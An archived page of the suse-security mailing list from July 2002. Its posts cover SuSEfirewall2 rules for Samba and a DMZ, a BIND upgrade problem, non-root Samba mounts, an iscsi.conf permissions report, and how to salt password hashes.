may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. ===================================================================== SuSE's security contact is <security(a)suse.com> or <security(a)suse.de>. The <security(a)suse.de> public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the cleartext signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iQEVAwUBPSyDnney5gA9JdPZAQFmswf8DjL+C4M3TP+iySk7sPqR7znMEO1+Zu5v SA64ygjQthQUfJAX3LSWndmb7WEZyRvxeH7eOwqftv3o6846c1NdEQfnrJrtv4Ah c6mPXBnYbY0J3fR9yoz8DdvsOQ/OcOIfzUjNiC5arxEyoD+LbS6bjtNorUio5s/P q6otWJt+vkVhYHEyZJeA+4T1mrXs1dpGXUh1+k4kytfQ5d3w1Sv2QE5wahB0d0xD zUXGtGEWTSaO5r3OF3W6zY7pC2hpVTXPrNsgX+WsUFZhl6hgdEhkMAQl7H7doNVy Ofxp9XrHrDhwEvGKBALMJ8LmjdR0ES+NOs0qGTJTpjQCTuuG8TiOkw== =e3AP -----END PGP SIGNATURE-----

7 9

RE: [suse-security] bind upgrade on 7.1
by Reckhard, Tobias 15 Jul '02

15 Jul '02

[...] > bind and could not do nslookup. changed ip in [...] What do you mean, when you say that you "could not do nslookup."? Tobias

1 0

APACHE: apache-1.3.20-66.i386.rpm
by Fabrizio Di Meo 15 Jul '02

15 Jul '02

Hi there, I'm using SuSE 7.3 and I patched the Apache web server to 1.3.20-66 while www.apache.org reports 1.3.26 as new bugs fix release. Is this new release available for SuSE 7.3? Also using YOU (yast2) the most recent patch is always the 1.3.20-66.... what's wrong? Thank you. Fabrizio --------------------------------- Scarica il nuovo Yahoo! Messenger: con webcam, nuove faccine e tante altre novità!

4 5

Re: [suse-security] Samba and SuSE Firewall 2
by Philippe Vogel 13 Jul '02

13 Jul '02

>But with the new SuSE Firewall 2 I unable to get this to work. When >I set FW_SERVICE_SAMBA, Samba works perfectly for the internal network, but >from the outside, it is possible to get the Netbios name. When I disable >FW_SERVICE_SAMBA, everything is secure, but computers from the internal >network do not work with Samba anymore. I also haven't protected the new >firewall against the internal network. >Is it possible to get Samba to work like it did with the old Firewall, from >outside nothing, from inside everything? Change /sbin/SuSEfirewall2 Go to line after: ######################### # Special SAMBA support # ######################### Change existing entries to this: test "$FW_SERVICE_SAMBA" = yes && { $LAA $IPTABLES -A INPUT -j LOG ${LOG}" fp=NI a=ACCEPT " -p udp --dport 137:138 -s $LOCALNET_1 # Samba for local Net only $IPTABLES -A INPUT -j "$ACCEPT" -m state --state NEW,ESTABLISHED,RELATED -p udp --dport 137:138 -s $LOCALNET_1 # Samba for local Net only } Add LOCALNET_1"123.123.123.0/24" to allow net 123.123.123.0/24 Access to local Samba Server! Philippe P.S.: I added some rules for blocking as well, this is a feature I miss in SuSEfirewall1/2 as well!

3 4

[suse-security] SuSEfirewall2, DMZ, sendmail and lotus - resend with config files
by Werner Schalk 13 Jul '02

13 Jul '02

Hi all, I have a problem with susefirewall2 and I hope somebody could help me. You can find the config files on a site of my friend: www.wolfgarten.com/fw/ suse-security(a)suse.com seems to filter attachments I did attach them to the mail I send yesterday of course! I have a leased line (2mbit, dedicated ip) to the net, a dmz and a local lan with a lotus server. I would like to receive mails from the internet for my domain which should come in and be forwarded to the smtp server in the dmz which will forward them to the lotus server. So here's a graph for that: inet | | server1, 3 network devices eth0: 192.168.100.1 (link to LAN) eth1: 192.168.50.1 (link to DMZ) eth2: 193.X.Y.Z (link to net) | | |-------------------server2, 1 networkcard (192.168.50.2) | running mail service (sendmail) | and apache web server | | | server 3, 2 network devices | eth0: 10.0.49.10 (link to LAN) | eth1: 192.168.100.2 (link to server1) | V in the lan: lotus server Currently mails come in and are forwarded to a sendmail server which is running on the server2 (dmz). From there they should be forwarded to server3 and finally to the lotus server (and vice versa). I tried to configure susefirewall2 in the way that connecting to port 25 on server1 forwards automatically to the dmz one or if it comes from the dmz to the server3 (and from there to the lotus server). But when I try to connect to 192.168.100.1 (port 25) from the server 3 and to 192.168.50.1 from the dmz I get the error messages "connection refused" although I opened the ports and did some redirect rules. Maybe somebody could have a look at my attached config file I currently have absolut no clue what might be the reason for this misconfiguration. Bye + thanks a lot, Werner

2 2

SuSE daily security: af_packet
by M. Neubert 12 Jul '02

12 Jul '02

Hello, can anyone explain me this event in SuSE daily security output: ---cut--- OLD: /var/lib/secchk/security-report-daily Fri Jul 12 00:00:06 2002 NEW: /var/lib/secchk/security-report-daily.new Sat Jul 13 00:00:05 2002 * Changes (+: new entries, -: removed entries): + af_packet ---cut--- I have found only the same question, but no answer. http://lists.suse.com/archive/suse-security/2001-Nov/0188.html I don't have any critical entry arround this time above in my logfiles. Thanks & Regards Mario

1 0

Request for comment: Custom MD5 password hashes
by Scott Courtney 12 Jul '02

12 Jul '02

Good morning. I am in the process of implementing a custom authentication system for an Open Source web application. I do not have the option in this app of using existing frameworks such as PAM or LDAP or Kerberos, and the need for security is only moderate because the data being protected is not especially sensitive. Still, I want it to be the best that it can be given the constraints of the environment. What I propose, with regard to password hashing, is something like this: Let string1 = login . "\n" . password . "\n" . iso_timestamp_string (example: "myaccount\nV3rY53cr37\n20020712094952") Let hash = md5sum(string1) Store login . "\n" . iso_timestamp_string . "\n" hash in the equivalent of the shadow file. (example: "myaccount\n20020712094952\na66c43e395f555447aad298a538f5e38") The idea is that (1) two users who have the same password will get different has values and (2) the same password reselected by the same user at different times will yield different hash values. The weakness I see in this is that monotonically-increasing time values are poor in entropy, but my thinking is that entropy will not be the weak link here. Rather, I expect the weak link to be the users themselves and their choice of poor passwords. Again, the data is not especially sensitive -- just user preferences and the like. Is what I propose "good enough" for this application, even though it might not be ideal and certainly is not good enough for financial or other critical applications? If people consider this off-topic, I apologize. I am starting with SuSE as the basis for building the system, and it is security-related, so I hope you will find it to be on-topic. Thanks for any comments people care to offer. Kind regards, Scott -- -----------------------+------------------------------------------------------ Scott Courtney | "I don't mind Microsoft making money. I mind them courtney(a)4th.com | having a bad operating system." -- Linus Torvalds http://4th.com/ | ("The Rebel Code," NY Times, 21 February 1999) | PGP Public Key at http://4th.com/keys/courtney.pubkey

2 1

harden_suse and suse 8.0
by Oliver Ziltener 12 Jul '02

12 Jul '02

Hello has anybody experience with harden_suse on suse 8.0. According to the messages of harden_suse is harden_suse only ready for 5.3 - 7.2: linux2:# harden_suse Guessing you are using SuSE version 8.0 WARNING: You seemed to have installed a SuSE version which is not yet supported by this hardening script! (Verified to work with 5.3 up to 7.2) Try to get an update from ftp://ftp.suse.com or http://www.suse.de/~marc ... Use at own risk! thanks for any info Oliver

1 0

Re: [suse-security] Samba and SuSE Firewall 2
by Philippe Vogel 12 Jul '02

12 Jul '02

Oops, I forgot something in my mail! Where to add this to: Add following line to /etc/rc.config.d/firewall2.rc.config LOCALNET_1="123.123.123.0/24" to allow net 123.123.123.0/24 Access to local Samba Server. Must be change to your needs! For Complex Networks you have to make a filter rule and a log rule for each subnet. Take the example from the other mail! Better make a test before that with: /sbin/SuSEfirewall2 test If no error come, then you have typed in all letters correct and the firewall can be restartted! /sbin/SuSEfirewall2 stop /sbin/SuSEfirewall2 start This flushes the rules. Sometimes the rcSuSEfirewall2 leaves single chains unflushed! Philippe P.S.: I changed the log-name-entry for /var/log/firewall in my rule, because I use fireparse.pl for Mailing reports to me, so leave this as is in the Script! P.S.S.: This change is made to your own risk. At my servers it works! The "deny all" - rules later in the script deny any other PC's to access samba, so you only have to allow, what is allowed. There is no need to insert deny-rules there.

1 0

Re: [suse-security] Request for comment: Custom MD5 password hashes
by Scott Courtney 12 Jul '02

12 Jul '02

On Friday 12 July 2002 10:26 am, Alan Rouse wrote: > You'd be better off using a random function to generate the salt, rather > than using a timestamp. Assuming your computer's clock is set somewhere > close to true time (or that the delta can be learned), if I know when > you changed your password I could use this information to accelerate my > attack by making informed guesses about the salt value. This is a very good point. Now that I think about it, a field in the database will have the last password change timestamp in cleartext, to support things like password expirations. So this will be an especially important issue on this system. I'll use /dev/random to generate salt (though it's not truly "salt" in the crypt() sense, if I understand correctly the prior discussion of that function). The good news is that on a web server there should be plenty of entropy to make /dev/random a good entropy source. Thanks for the comments. As you mention in your second note, this is probably a non-issue given the low criticality of my data, but since it is so easy to fix the vulnerability, there is no reason not to do so. Scott -- -----------------------+------------------------------------------------------ Scott Courtney | "I don't mind Microsoft making money. I mind them courtney(a)4th.com | having a bad operating system." -- Linus Torvalds http://4th.com/ | ("The Rebel Code," NY Times, 21 February 1999) | PGP Public Key at http://4th.com/keys/courtney.pubkey

1 0

FW: [suse-security] Request for comment: Custom MD5 password hashes
by Alan Rouse 12 Jul '02

12 Jul '02

I must need some more coffee this morning. The weakness is that I could (in advance) create a reasonable-sized dictionary (maybe a billion entries, a few gigabytes total) using salts consisting only of timestamps chosen near the expected time. When I begin the attack on your hashed password, my odds of having your hash in my dictionary might be pretty good. But that's a lot of work to attack something that you said is not especially sensitive, so maybe it is a non-issue. -----Original Message----- From: Alan Rouse Sent: Friday, July 12, 2002 10:31 AM To: suse-security(a)suse.com Subject: RE: [suse-security] Request for comment: Custom MD5 password hashes Scott Courtney wrote: > What I propose, with regard to password hashing, is something like this: > > Let string1 = login . "\n" . password . "\n" . iso_timestamp_string > > (example: "myaccount\nV3rY53cr37\n20020712094952") > > Let hash = md5sum(string1) > Store login . "\n" . iso_timestamp_string . "\n" hash in the equivalent > of the shadow file. > (example: "myaccount\n20020712094952\na66c43e395f555447aad298a538f5e38") You'd be better off using a random function to generate the salt, rather than using a timestamp. Assuming your computer's clock is set somewhere close to true time (or that the delta can be learned), if I know when you changed your password I could use this information to accelerate my attack by making informed guesses about the salt value. Of course if your random function is seeded with the timestamp then the two are equivalent. Depending on your platform, if you use the unix /dev/random, or the java SecureRandom class you should be in great shape.

1 0

RE: [suse-security] Request for comment: Custom MD5 password hashes
by Alan Rouse 12 Jul '02

12 Jul '02

Scott Courtney wrote: > What I propose, with regard to password hashing, is something like this: > > Let string1 = login . "\n" . password . "\n" . iso_timestamp_string > > (example: "myaccount\nV3rY53cr37\n20020712094952") > > Let hash = md5sum(string1) > Store login . "\n" . iso_timestamp_string . "\n" hash in the equivalent > of the shadow file. > (example: "myaccount\n20020712094952\na66c43e395f555447aad298a538f5e38") You'd be better off using a random function to generate the salt, rather than using a timestamp. Assuming your computer's clock is set somewhere close to true time (or that the delta can be learned), if I know when you changed your password I could use this information to accelerate my attack by making informed guesses about the salt value. Of course if your random function is seeded with the timestamp then the two are equivalent. Depending on your platform, if you use the unix /dev/random, or the java SecureRandom class you should be in great shape.

1 0

bind upgrade on 7.1
by Chad Whitten 12 Jul '02

12 Jul '02

i upgraded bind8 to the latest version on the suse ftp site this morning (as well as the bindutils package) and now i cant run nslookup with the nameserver set to 127.0.0.1. I installed the bindutils package and then did an nslookup and it worked fine. installed the new bind package and restarted bind and could not do nslookup. changed ip in /etc/resolv.conf to ip of ethernet interface on machine and i could do a lookup and the machine resolves queries from remote hosts so this is really no big deal, just wondering if anyone else had experienced it and had a workaround/solution. -- Chad Whitten Network/Systems Administrator neXband Communications cwhitten(a)nexband.com

1 0

RE: [suse-security] Password Encryption
by Alan Rouse 12 Jul '02

12 Jul '02

Tobias wrote: > However, since the salt is stored in plaintext in the shadow file, if you > get that, the advantage of salt disappears. Salt has no effect on the difficulty of attacking from a password prompt. It is only useful in attacks against the shadow file. Salt still increases the effort to attack a shadow file even though the salt is plainly visible. It greatly increases the cost of building a dictionary in advance, since it now has to be 4096 times larger. In effect it means the computational effort has to begin after you obtain the shadow file. It means an attacker can't prepare a dictionary, then use it repeatedly forever to look up passwords on every shadow file he can steal. The effort must be repeated on each occasion. Realistically, if the attacker has the means to obtain a shadow file (ie root) he probably doesn't need to crack a password. But if you are not using shadow files, your password file is a valuable target accessible to any user, not just root. Larger salt would be better... 4096 probably is not a large enough factor nowadays. LDAP uses 8 to 16 bytes of salt.

1 0

mount sambashare with non-root-user
by ic_admin 12 Jul '02

12 Jul '02

Hello, I want to mount a samba-share in my linux-box but don't want do this as root. I put an entry in my /etc/fstab like this: "//smbserver/share /mnt smbfs username=abc,password=abc,uid=500,gid=100,rw,noauto,users,exec 0 0" ... and I am able to mount this share as root and root is not the owner of the files. BUT when I try to mount this as an user I get the error message: "cannot mount on /mnt: operation is not allowed". Does anybody know a way to do this with a standard user? Thanks and regards Ruediger

3 2

Samba and SuSE Firewall 2
by Z_God 12 Jul '02

12 Jul '02

I'm upgrading from SuSE 6.4 (with the original SuSE Firewall) to SuSE 7.3 (with SuSE Firewall 2). With my 6.4 configuration I had the firewall set up so that it wasn't protected against the internal network and that all computers on my internal network had access to the printer using Samba. From the outside nobody could see I was running Samba according to several sercurity checks on the internet. But with the new SuSE Firewall 2 I unable to get this to work. When I set FW_SERVICE_SAMBA, Samba works perfectly for the internal network, but from the outside, it is possible to get the Netbios name. When I disable FW_SERVICE_SAMBA, everything is secure, but computers from the internal network do not work with Samba anymore. I also haven't protected the new firewall against the internal network. Is it possible to get Samba to work like it did with the old Firewall, from outside nothing, from inside everything? Thanks in advance.

2 3

[Fwd: RE: [suse-security] mount sambashare with non-root-user]
by ic_admin 12 Jul '02

12 Jul '02

Hello, that's it, but it works without setting the SUID bit on /usr/sbin/smbmount Many thanks Ruediger -------- Original Message -------- Subject: RE: [suse-security] mount sambashare with non-root-user Date: Fri, 12 Jul 2002 12:11:37 +0200 From: "Reckhard, Tobias" <tobias.reckhard(a)secunet.com> To: SuSE-Security_MailList <suse-security(a)suse.com> > ... and I am able to mount this share as root and root is not > the owner > of the files. AFAIK, root doesn't have to have any permissions, she can do anything she likes (unless you're on a compartmented or otherwise restricted, i.e. non-standard system). > BUT when I try to mount this as an user I get the error > message: "cannot > mount on /mnt: operation is not allowed". Again AFAIK and from personal experience, you need to: * Set the SUID bit on /usr/sbin/smbmount and * have the mountpoint owned by the user in question. Cheers Tobias -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

1 0

Re: Re: [suse-security] mount sambashare with non-root-user
by BLeonhardt＠analytek.de 12 Jul '02

12 Jul '02

... maybe it help's if you mount the share to a subdir in the user's home-dir ? ... Mit freundlichen Grüßen Bruno Leonhardt CLP Domino R5 Systemadministrator ----------- AnalyTek Systemhaus Hospital Str. 2a D-65589 Hadamar Besuchen Sie uns im Internet unter : http://www.analytek.de "Michael Haunzwickl" <michael.haunzwickl(a)syn.at> 12.07.02 12:08 An: <admin(a)i-concept.de>, "SuSE-Security_MailList" <suse-security(a)suse.com> Kopie: Thema: Re: [suse-security] mount sambashare with non-root-user did you syncronise /etc/passwd (or the shadow file) with smbpasswd? Did you activate the user with: smbpasswd -a username ???? have you configured the share with a force user or force group parameter? Michael ----- Original Message ----- From: "ic_admin" <admin(a)i-concept.de> To: "SuSE-Security_MailList" <suse-security(a)suse.com> Sent: Friday, July 12, 2002 12:01 PM Subject: [suse-security] mount sambashare with non-root-user > Hello, > > I want to mount a samba-share in my linux-box but don't want do this as > root. I put an entry in my /etc/fstab like this: > > "//smbserver/share /mnt smbfs > username=abc,password=abc,uid=500,gid=100,rw,noauto,users,exec 0 0" > > ... and I am able to mount this share as root and root is not the owner > of the files. > BUT when I try to mount this as an user I get the error message: "cannot > mount on /mnt: operation is not allowed". > > Does anybody know a way to do this with a standard user? > > Thanks and regards > > Ruediger > > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > > --- Ausgehende Mail ist zertifiziert virenfrei. Überprüft durch AVG Antivirus System (http://www.grisoft.com/de) Version: 6.0.371 / Virendatenbank: 206 - Erstellungsdatum: 14.06.2002 -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

1 0

RE: [suse-security] mount sambashare with non-root-user
by Reckhard, Tobias 12 Jul '02

12 Jul '02

> ... and I am able to mount this share as root and root is not > the owner > of the files. AFAIK, root doesn't have to have any permissions, she can do anything she likes (unless you're on a compartmented or otherwise restricted, i.e. non-standard system). > BUT when I try to mount this as an user I get the error > message: "cannot > mount on /mnt: operation is not allowed". Again AFAIK and from personal experience, you need to: * Set the SUID bit on /usr/sbin/smbmount and * have the mountpoint owned by the user in question. Cheers Tobias

1 0

Re: hola - security issue report thing
by Olaf Kirch 12 Jul '02

12 Jul '02

Hi Kurt, On Thu, Jul 11, 2002 at 03:10:58PM -0600, Kurt Seifried wrote: > the iscsi tarball and the vendor packages of it Ichecked so far create > /etc/iscsi.conf world readable by default, it needs to contain usernames and > passwords for the CHAP auth, no warning is given in the file, the default > permissions should not be world readable, can you confirm this is the case > (I'm just about to load up 8.0 on vmware to check, but figured email might > be faster). This affects a number of vendors, but the fix is pretty trivial, > so that's good. Hm, I just checked the RPM permissions of linux-iscsi both on 8.0 and the current branch, and iscsi.conf is packaged mode 600 in both cases. Olaf -- Olaf Kirch | Anyone who has had to work with X.509 has probably okir(a)suse.de | experienced what can best be described as ---------------+ ISO water torture. -- Peter Gutmann

1 0

RE: [suse-security] Password Encryption
by Reckhard, Tobias 12 Jul '02

12 Jul '02

> Yes, this is called a collision. With the crypt algorithm, which > produces 56 bit results, every 72,057,594,037,927,936th (==2^56) > password gets the same hash value. With other words, if you I think you're forgetting about the birthday paradox. See http://www.rsasecurity.com/rsalabs/faq/2-4-6.html for some information on attacks against hash functions. [salt] > typical MD5 "crypts" use much larger ranges). The value is taken > by random. So every password has 4096 possible results. To be > able to decrypt, the salt itself is stored in plain as the first > two bytes of the password "hash". So for a million words you > would need 4 billion precalculated hashes. However, since the salt is stored in plaintext in the shadow file, if you get that, the advantage of salt disappears. Note also, that the number of bits a hash function transforms the input to can't be equated directly to its 'security'. Rather, the amount of its resistance to collisions is an (at least) equally decisive factor. Tobias

4 3

SuSEfirewall2, DMZ, sendmail and lotus
by Werner Schalk 11 Jul '02

11 Jul '02

Hi all, I have a problem with susefirewall2 and I hope somebody could help me. I have a leased line (2mbit, dedicated ip) to the net, a dmz and a local lan with a lotus server. I would like to receive mails from the internet for my domain which should come in and be forwarded to the smtp server in the dmz which will forward them to the lotus server. So here's a graph for that: inet | | server1, 3 network devices eth0: 192.168.100.1 (link to LAN) eth1: 192.168.50.1 (link to DMZ) eth2: 193.X.Y.Z (link to net) | | |-------------------server2, 1 networkcard (192.168.50.2) | running mail service (sendmail) | and apache web server | | | server 3, 2 network devices | eth0: 10.0.49.10 (link to LAN) | eth1: 192.168.100.2 (link to server1) | V in the lan: lotus server Currently mails come in and are forwarded to a sendmail server which is running on the server2 (dmz). From there they should be forwarded to server3 and finally to the lotus server (and vice versa). I tried to configure susefirewall2 in the way that connecting to port 25 on server1 forwards automatically to the dmz one or if it comes from the dmz to the server3 (and from there to the lotus server). But when I try to connect to 192.168.100.1 (port 25) from the server 3 and to 192.168.50.1 from the dmz I get the error messages "connection refused" although I opened the ports and did some redirect rules. Maybe somebody could have a look at my attached config file I currently have absolut no clue what might be the reason for this misconfiguration. Bye + thanks a lot, Werner

1 0

New security mailing list.. full-disclosure
by Len Rose 11 Jul '02

11 Jul '02

We are pleased to announce the creation of a new security mailing list dedicated to FULL DISCLOSURE. When Scott Chasin handed over the bugtraq mailing list, it was clearly dedicated to the immediate and full dissemination of security issues. The current bugtraq mailing list has changed over the years, and some of us feel it has changed for the worse. If you believe in full disclosure, and wish to participate in unfettered, and unmoderated discussions, please feel free to subscribe to the new mailing list by accessing http://lists.netsys.com

2 1

RE: [suse-security] Password Encryption
by Reckhard, Tobias 11 Jul '02

11 Jul '02

> ok, but if we knows, that there is a way to crack the shadow file, why > don't we use a secure algorithm ? (triple DES or AES) Are there no > implementation for this algorithms ? > (a DES cracker-maschine costs about 100.000 $) Wait! and read aloud after me: "The password is *not* encrypted." Take a deep breath. Now repeat it, please. The password is in fact hashed. The resulting hash is stored in /etc/shadow. The password is gone after that, there's no trace of it left. What then happens, when you login, is that the password you supply to the system is hashed and the hash is compared to the one stored in /etc/shadow. If they match, you're in, if they don't, you're not. As Olaf has repeatedly said, in the case where DES is used, the salt is encrypted using the password as a key to get the 'hash'. However, if you're using 'MD5 passwords' (which is something of a misnomer, of course), DES isn't involved. Someone correct me if I'm wrong. Cheers Tobias

7 7

Chroot & split-brain BIND from SuSE?
by Geordon VanTassle 11 Jul '02

11 Jul '02

Hello , Does anyone know if it's possible to split-brain bind from the SuSE RPMs, for either bind 8 or bind 9? thanks -- Best regards, Geordon mailto:gvantass@interaccess.com PGP Key ID: 0xFCF06B79 Your Fortune ==> "As long as you can laugh at yourself you will never cease to be amused."

2 1

RE: [suse-security] Password Encryption
by arawak 10 Jul '02

10 Jul '02

